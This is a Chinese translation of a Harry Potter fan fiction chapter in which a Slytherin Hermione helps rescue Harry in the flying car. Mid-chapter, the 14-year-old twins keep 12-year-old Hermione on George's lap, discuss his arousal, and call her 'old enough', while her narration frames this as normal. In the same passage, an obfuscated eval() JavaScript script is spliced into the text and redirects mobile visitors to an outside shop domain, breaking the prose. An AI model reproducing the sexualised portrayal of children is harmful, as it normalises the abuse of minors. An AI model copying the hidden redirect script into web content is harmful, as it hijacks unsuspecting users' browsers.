═════════
内容警告：提及青少年性成熟问题。（译者注：有少量的乔治/赫敏）
═════════
那是一辆老款的福特安格利亚，赫敏盯着它看了一会。
“等接到哈利，我们全都得挤在后座，除非有人愿意坐后备箱。”她评论道。
弗雷德耸了耸肩：“这有什么关系？”
确实没关系，她跟着其他人一起挤进了车里。弗雷德发动汽车，按下隐形推进器，又按了别的什么按钮，汽车升到了空中。
飞行过程颠簸不定，但车子还是尽职尽责地爬升到高空。赫敏指出了去往女贞路最直接的路线，弗雷德便朝那个方向开去，车子噼里啪啦响了几声，往下坠了一小段，然后才平稳下来。
赫敏没有锁车门，以防万一车子飞行失败好随时跳车——她自己滑翔或飞下去的存活几率都比被困在车里，眼睁睁看着它从空中坠落要高的多。
不过，这段旅程出乎意料地有趣。韦斯莱双子根本不在乎赫敏是斯莱特林的学生，而且直截了当地告诉了她这一点，这让罗恩很是不爽。
“在我们这里，只要能让马尔福家的人吃瘪，就都算好人。”乔治兴高采烈地告诉她，“大家都听说了你考得比他好。”
赫敏脸红了。她很高兴自己考了年级第一，但她并不是故意要让德拉科吃瘪。
“不可能所有斯莱特林都是坏人。”弗雷德说，“格兰芬多有一些好人，但也有一些十足的混蛋。斯莱特林里有一些未来的食死徒，但也有一些正常的孩子，这很合理。”
赫敏不知道该如何接这个话茬，只好保持沉默。双胞胎开始叽叽喳喳地讨论起了下学期的恶作剧计划——其中很多都是针对斯内普教授的。虽然想象到会说话的洗发水瓶追着她学院院长到处跑的画面很好笑，但赫敏觉得自己笑出来就有种背叛的感觉，于是她忍不住开了口。
“我真的不建议你们这么做。”她说，“所有老师里，斯内普教授是最有可能记仇报复回来的。他会让你们在霍格沃茨剩下的日子里过得生不如死。”
乔治朝她挑了挑眉：“你觉得会吗？他毕竟还是老师——你觉得他会去针对几个学生？”
“不管他是不是老师，他终究是个斯莱特林。”赫敏指出，“你们还不如把目标对准新来的黑魔法防御术教授——至少那位教授一年后就会走人，要报复也持续不了太久。”
双胞胎沉思片刻，然后咧嘴笑了。
“为什么不呢？”他们异口同声地说，然后开始低声讨论新的恶作剧点子。
剩下的路程很快就过去了，赫敏看到女贞路已在眼前。
“在那儿！”她压低声音，指着下方。“那就是他亲戚家。绕到后面去！”
罗恩摇下车窗，弗雷德小心翼翼地把车子挪到与哈利窗户齐平的位置。赫敏在背包里翻找着什么。
“哈利！哈利！”
“罗恩！罗恩，你怎么——什么——？”
赫敏松了口气——哈利仍然平安无事。
“哈利，你没事吧？”乔治问道。
“赫敏说你没收到我的信，”罗恩说，“是真的吗？”
“赫敏跟你们在一起？对——有一个家养小精灵把我的邮件都截走了。可是，这到底是什么——”
“这些待会儿再聊。”赫敏打断道，“罗恩，拿着这个，卡进铁栏杆里。”
她递给他一个很小的抓钩，罗恩盯着看了一会儿，但还是把它递给了哈利，哈利从栏杆间接了过去。
“用魔杖轻轻敲一下，哈利，”她告诉他，“这是解除咒语，不是施咒——不会触发魔法部的警报。”
哈利照做了，当看到抓钩重新变大，牢牢地楔入栏杆时，他差点惊呼出声。
“给你。”她把绳子递给弗雷德和乔治，两人抓紧了绳子。“动手吧。”
弗雷德发动引擎，车子直直地向上冲去，随着一声刺耳的嘎吱声，窗户上的铁栏杆被硬生生地扯了下来。罗恩得意地大笑起来，赫敏看到哈利正站在窗边，仰头惊羡地望着他们。
“把它拉进来。”赫敏对罗恩说，罗恩恼火地瞪了她一眼，但还是把栏杆拖进了后座。
“把后备箱打开，”赫敏指示弗雷德，“我们需要腾出地方放他的行李。”
“后备箱？”
“哦，真的是！”
赫敏爬到前座，几乎是坐在乔治的腿上，伸手拉下了后备箱的开启装置。后备箱门弹开了，她得意地看了弗雷德一眼。弗雷德一脸惊讶。
“我之前都不知道那里有这个，”他告诉她，“真巧妙！”
他把车倒到窗边，哈利把行李箱推了出来，塞进后备箱。行李放好后，哈利尽量轻手轻脚地关上后备箱，但合上时还是发出了一声沉闷的“咔嗒”声，哈利顿时僵住了。
“我听到了弗农姨夫的声音！”他压低声音说。
“那我们就快点，”罗恩说，“弗雷德，调转车头！”
车子转过来，将后车门对准了哈利的窗户。哈利把海德薇的笼子递给罗恩，然后小心翼翼地爬上窗台，坐在窗沿上，看起来有些犹豫。赫敏突然心里一紧，害怕哈利失手滑倒，从两层楼高的地方摔进下面的灌木丛。
“快点！”罗恩催促道，伸出手，哈利深吸一口气，抓住他的手，跳进了车里。
他只跳进来一半，然后手忙脚乱地爬进车里，罗恩也使劲拽着他。等哈利安全进入车内后，罗恩胜利地欢呼起来，哈利也如释重负地笑了。
“我们成功了！”
“我们成功了！”
“我们太吵了！”赫敏急切地说，“弗雷德，我们得赶紧离开这里，赶快！”
弗雷德猛踩油门，再次启动隐形推进器，汽车腾空而起。哈利哈哈大笑，罗恩咧嘴笑着，双胞胎欢呼雀跃。看到哈利如释重负的表情，就连赫敏也露出了笑容。
“你们做到了！”哈利说，“赫敏，我今天听到你在屋里的声音时差点没晕过去。你是怎么让佩妮姨妈放你进来的？”
“你去了哈利家？ ”罗恩瞪大了眼睛问道。
“我不是早就跟你说过了。”赫敏愤愤不平地瞪了罗恩一眼，说道，“我假扮成了雅芳的推销员，”她告诉哈利，“我穿着我妈妈的衣服，化了很浓的妆。我说你的玛姬姑妈向我推荐了佩妮姨妈，好让她相信我是真的。”
“你怎么会知道玛姬姑妈？”哈利困惑地问。
“哦，哈利，说真的，”赫敏叹了口气说，“你以为你说话的时候没有人在听吗？之前海格和你谈论牙牙的时候，你提到了她和她的狗。”
哈利看起来很惊讶居然会有人还记得他几个月前提过的事情。罗恩狐疑地看着赫敏，赫敏翻了个白眼。
“难道你什么东西都能记住？”罗恩质问道，他的语气并不咄咄逼人，但也很接近了。
“难道你是天生什么都记不住？”赫敏回怼道，双胞胎笑了起来。
“哦，我们喜欢你，斯莱特林小姐。”弗雷德宣布道，他认出一个地标，转动方向盘，“你很有胆识。”
“我们要留下你。”乔治低头看向她笑道。
“绝对不行。”罗恩气愤地反对，“她只是帮忙救出了哈利，仅此而已。 ”
“才不是呢！”双胞胎异口同声地说。弗雷德回头朝罗恩咧嘴一笑，乔治则把赫敏拉得更近，双臂环住她的腰，冲罗恩坏笑道：“我抓到就是我的。”
“我可不认为是你抓到了我，”赫敏反驳道，“是我自己来敲门的。”
“好吧，但我们现在得到你了，”乔治理所当然地说，他的眼睛闪闪发光，“难道不是有九成的所有权吗？法律不是这么规定的吗？”
赫敏忍不住笑了。哈利看起来既困惑又高兴。
“赫敏去了你家？ ”他问罗恩，“发生了什么事？”
“对，她来了，告诉我们那些可恶的亲戚对你做了什么。我们想出了一个大胆的营救计划——”
罗恩把他们之前的所有计划都详细地讲给哈利听，哈利听着，脸上带着灿烂的笑容。赫敏也无声地露出一个微笑，看到朋友平安无事，她松了一口气。她微微动了动身子，然后乔治哼了一声，她停了下来。
她之前为了帮忙打开后备箱钻进了前排座位，然后他们救哈利的时候，她就一直别扭地坐在中央的储物箱上。刚刚乔治为了捉弄罗恩，把她拉到了自己腿上，她也顺着他让他这么做了。但这就意味着现在她正坐在他的腿上……而且他的手臂还搂着她的腰。
赫敏转过身，低头看向乔治，乔治正咧嘴笑着仰头看着她
“如果你放开我，我可以坐到后座中间去。”她一本正经地对他说。
“不行，”乔治轻快地说，“我抓到你了……”他把手臂搂得更紧了些，“……所以你现在是我的了。”
“这不合规矩。”赫敏说着，瞪了他一眼。
“哦？”乔治睁大眼睛，一脸无辜，“你觉得我是个讲规矩的人吗？”
赫敏皱着眉头，开始试图挣脱乔治的双臂，她抓住一只手臂往外推，却发现乔治用另一只手臂搂得更紧了。她哼了一声，试图在控制一只手臂的同时掰开另一只，却发现根本做不到——他会松开其中一只手臂然后迅速重新搂住她。她扭动着身体，想从上方挣脱出来，但这也没用——反而被乔治用让她更难受的姿势搂得更紧了。赫敏挣扎的时候，弗雷德就一直在旁边哈哈大笑。最后她气呼呼地放弃了，重新滑回乔治的腿上，挪动了一下身子，试图找到平衡。
“你又在干什么？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626289|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“找个舒服的姿势，”她告诉他，“如果我注定要待在这里，那我至少要确保自己坐得舒服一点。”
“你刚才就是在干这个吗？”乔治的声音低了下来，让坐在后座的罗恩和哈利听不到，他们正在讨论家养小精灵的事。“我还以为你是在对我做非常不合规矩的事呢。”
“试图逃跑不合规矩？ ”赫敏难以置信地问。
“试图勾引我。”
赫敏猛地转过身，扭头盯着他的眼睛。他的眼睛颜色似乎变深了，里面闪烁着一种之前从未有过的光芒。
“请问，我怎么——”赫敏刚开口。
“你已经在我腿上扭来扭去，用臀部蹭我的□□好几分钟了，”乔治语气温和地对她说，但他的眼神依然阴沉，瞳孔放大，“一般来说，当一位女士用臀部蹭你的□□，就意味着她准备做一些非常不合规矩的事情。”
赫敏盯着他，不知道该说些什么。
“我——你——”
乔治挥了挥手，打断了她的话，“我不是说我觉得你在勾引我，”他说，“这更像是一种警告——你再这样动下去，你很可能会感觉到一些你本没打算感觉到的‘东西’。”
赫敏的脸涨红了。
“你要是放开我，就不会有这个问题了。”她低声说。
乔治露出了一个得意的坏笑，弗雷德哈哈大笑起来。
“我想这对他来说不算什么问题，”弗雷德冲她咧嘴一笑，“腿上坐着个漂亮姑娘？那可是个惬意的享受。他这么说是为了让你放心，斯莱特林小姐。我怀疑地牢里没什么人肆意厮混，因为传出去不太体面。”
“我才十二岁。”赫敏惊恐地说。
“是吗？我们十四岁，”乔治耸了耸肩，“所以呢？”
“所以……那还很小呢。”赫敏结结巴巴地说。
“够大了，”弗雷德说，“不过，听着，如果你坐在，比如说比尔的腿上，你感觉到他有反应，那情况就有点不一样了。但一个十几岁的男孩喜欢一个漂亮女孩坐在他腿上，而这个女孩比他小不了多少，这能算什么呢？”
“我觉得这很正常。”乔治表示同意。
赫敏看着他们，感到有些迷茫。
“比尔是谁？”
“比尔是我们的大哥，”弗雷德告诉她，“他在古灵阁当专业解咒员。”
“啊，”赫敏说，“我明白了。”
她沉默下来，双胞胎加入到罗恩和哈利的谈话——好像是有个家养小精灵用某种蛋糕袭击了哈利亲戚一家。赫敏放松地靠在乔治的怀里，任由他们的谈话声从耳边流过，过了一会儿，她把头靠在他的肩膀上，思绪飘忽，几乎要睡着了。
赫敏心想，这倒也算合理，其实麻瓜世界的情况也差不多。她在麻瓜学校的同年级生里，肯定有些女生已经有男朋友了，而且有些男朋友年纪还比她们大一点。她听说过学校里高年级的男生和低年级的女生谈恋爱，这说得通：男生成熟得晚，在女生成熟之后才对她们感兴趣。仔细想想，14岁和12岁之间的差距其实并不算大，尤其是她离13岁也就差两个月了。
不过，她内省道，自己现在对那种事还没产生兴趣。安东尼和布雷斯跟她调情时她挺喜欢的，但她只是享受那种被关注的感觉，也欣赏他们的外表——但这不是那种认真的兴趣，至少现在还不是。她纳闷自己为什么比别的女生成熟得晚——潘西和达芙妮上学年年初时似乎就已经对男生感兴趣了。而赫敏一想到乔治可能以那种方式对她有兴趣，就只觉得浑身不自在。
至少他不是认真的。根据她对男性青春期的了解，任何一个与他年龄相仿的女孩坐在他腿上都足以引起那种反应。
车子在屋外降落的声音把赫敏从沉思中惊醒。此时已经破晓，黎明的太阳在地平线上缓缓升起。她和其他人一起爬下车，乔治眨了眨眼，帮忙把她放到地上。哈利把她的抓钩从车里拖了出来，它还卡在铁栏杆上。赫敏隐蔽地把抓钩缩小，然后塞进了包里。
“好了，现在我们悄悄上楼。”弗雷德说，“等妈妈来叫我们吃早饭，然后，罗恩，你就蹦蹦跳跳地跑下楼，喊：‘妈妈，快看谁半夜来了！’她看到哈利肯定会很高兴，谁也不会知道我们开了车。”
赫敏心里琢磨着自己该怎么办。躲在双胞胎房间里，等到有机会就偷偷溜走？
“好。”罗恩说，“走吧，哈利，我睡在——顶层——”
罗恩的脸色突然变得苍白，他的目光越过其他人，直直地盯着房子。他们猛地转过身来。
一个身材矮胖的女人——只可能是韦斯莱夫人——正怒气冲冲地大步穿过院子。
“啊。”弗雷德说。
“哦，天哪。”乔治说。
赫敏瑟缩了一下，然后院子里响起了叫骂声。